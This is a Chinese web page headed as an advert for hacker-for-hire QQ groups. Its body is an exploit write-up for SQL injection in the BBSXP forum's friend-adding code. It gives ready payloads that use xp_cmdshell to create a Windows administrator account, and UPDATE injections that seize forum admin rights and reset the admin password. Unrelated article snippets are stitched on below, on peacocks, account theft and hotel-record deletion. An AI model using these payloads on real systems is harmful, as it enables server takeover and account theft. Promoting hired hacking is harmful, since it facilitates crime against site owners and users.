24小时接单的黑客qq群 先办事后付款的黑客qq

访客4年前关于黑客接单601

漏洞描述:   相信大家都听过bbsxp吧,它是一款网上流行的论坛程序,我就不多作介绍了。这次我检测的是它的sql版,没过多久果然就发现了问题了  我们利用它可以掌握整个论坛的生杀大权,如果管理员sql服务器配置不当的话,甚至可以攻占整个服务器。 ............................................................................................................. 漏洞分析: 这个漏洞主要出在friend.asp这个文件,让我们来看一下有问题的部分源码,下面是用户添加好友的程序:   sub add if Request("username")="" then error2("请输入您要添加的好友名字!") end if if Request("username")=Request.Cookies("username") then error2("不能添加自己!") end if if conn.execute("Select count(id)from [user] where username='"&Request("username")&"'")(0)=0 then error2("数据库不存在此用户的资料!") end if  只要求好友的名字不为空和不能添加自己,并没有过滤特殊符号,其实这个不能添加自己的限制也是能绕过的,不过也没什么用 :)。 ..................................................................................................................... 利用 *** :  注册随便注册一个用户,这里我注册的是pinkeyes,好,转到个人控制面板,添加一个论坛存在的人为好友,这里我选的人是king, 选择添加好友按钮,这时会弹出一个输入框,在里面输入: king' ;exec master.dbo.xp_cmdshell 'net user pinkeyes pinkeyes /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 添加了一个名为pinkeyes,密码为pinkeyes的账户。 ..................................................................................................................... 再来: king' ;exec master.dbo.xp_cmdshell 'net localgroup administrators pinkeyes /add';--      把pinkeyes加到管理员用户组中。下面的事就不用我说了吧! 注意:如果连接数据库的账号没有权限的话或管理员删除了master.dbo.xp_cmdshell这个存储过程的话是不会成功.但是你可以对这个数据库做 任何事。 ..........................................................................................................................   如果不能添加账户也没关系,也阻挡不了我前进的步伐。好,下面我来讲一下利用 *** : 仍然是添加好友,输入: king' ;update [user] set membercode=5,levelname='社区区长' where username='pinkeyes' -- 把pinkeyes提升为社区区长,前台工作。 再来输入: king';update clubconfig set administrators='│pinkeyes│',adminpassword='pinkeyes' -- 把后台管理员设为pinkeyes,密码也为pinkeyes ok,现在你是管理员了,要干什么就干什么吧! 

相关文章

黑客雇佣网

同黑客同责黑客行为应当承担的法律责任如果说黑客行为更多的是一种技术手段,技术手段本身是不存在承担责任一说的,至于使用了这种手段是不是要承担责任。 呵呵,不一定是黑客啊,你补一下漏洞,禁止远处连接,检查...

孔雀的尾巴像什么一样(尾巴什么情况下会开屏)

孔雀的尾巴像什么一样(尾巴什么情况下会开屏)

你见过开屏的雄孔雀吗?那五彩缤纷的尾羽,展开时仿佛一幅巨扇,艳丽中闪耀出光芒,点点圆斑犹如颗颗宝石镶嵌其上,美轮美奂得令人无法不为之由衷惊叹。 然而,从实用角度而言,雄孔雀的尾巴完全称不上有效率,反...

为什么盗号(为什么盗号的能把你密保手机改了)

为什么盗号(为什么盗号的能把你密保手机改了)

本文导读目录: 1、为什么有盗号的 2、为啥有那些盗号的? 3、为什么QQ会有人盗号? 4、为什么会被盗号? 5、为什么别人要盗号啊? 6、为什么会被盗号 7、为什么要去盗号?...

开的房记录能不能删除?如何找人删除酒店记录

一、房地产是暴利行业。二、绿男的脑袋有问题,怎么能让妻子自己在国内找工作?你这一暴光就置人于死地了,还能要到钱吗? 绿地,国企,高管--高官?纳小妾,还怀孕,算不算犯重婚罪?有9000万,合法所得?他...

科威特议会选举结史可阿部力果揭晓 内阁集体辞职

  新华社科威特城12月6日电(记者王薇 聂云鹏)科威特第16届国民议会选举结果6日揭晓。首相萨巴赫·哈立德当日向科威特埃米尔纳瓦夫提交内阁集体辞呈并获得批准。   纳瓦夫要求内阁继续处理紧急事务,...

个人网站推广有哪些方案和技巧你知道几个!

个人网站推广有哪些方案和技巧你知道几个!

问:网站建设好后,推广问题就摆上了台面,那要如何推广自己的网站呢? 答:不论是企业网站还是个人网站,以下22个网友总结的网站推广技巧,总有部分适合于您,快来看看吧! 1.免费推广自己的网站的方...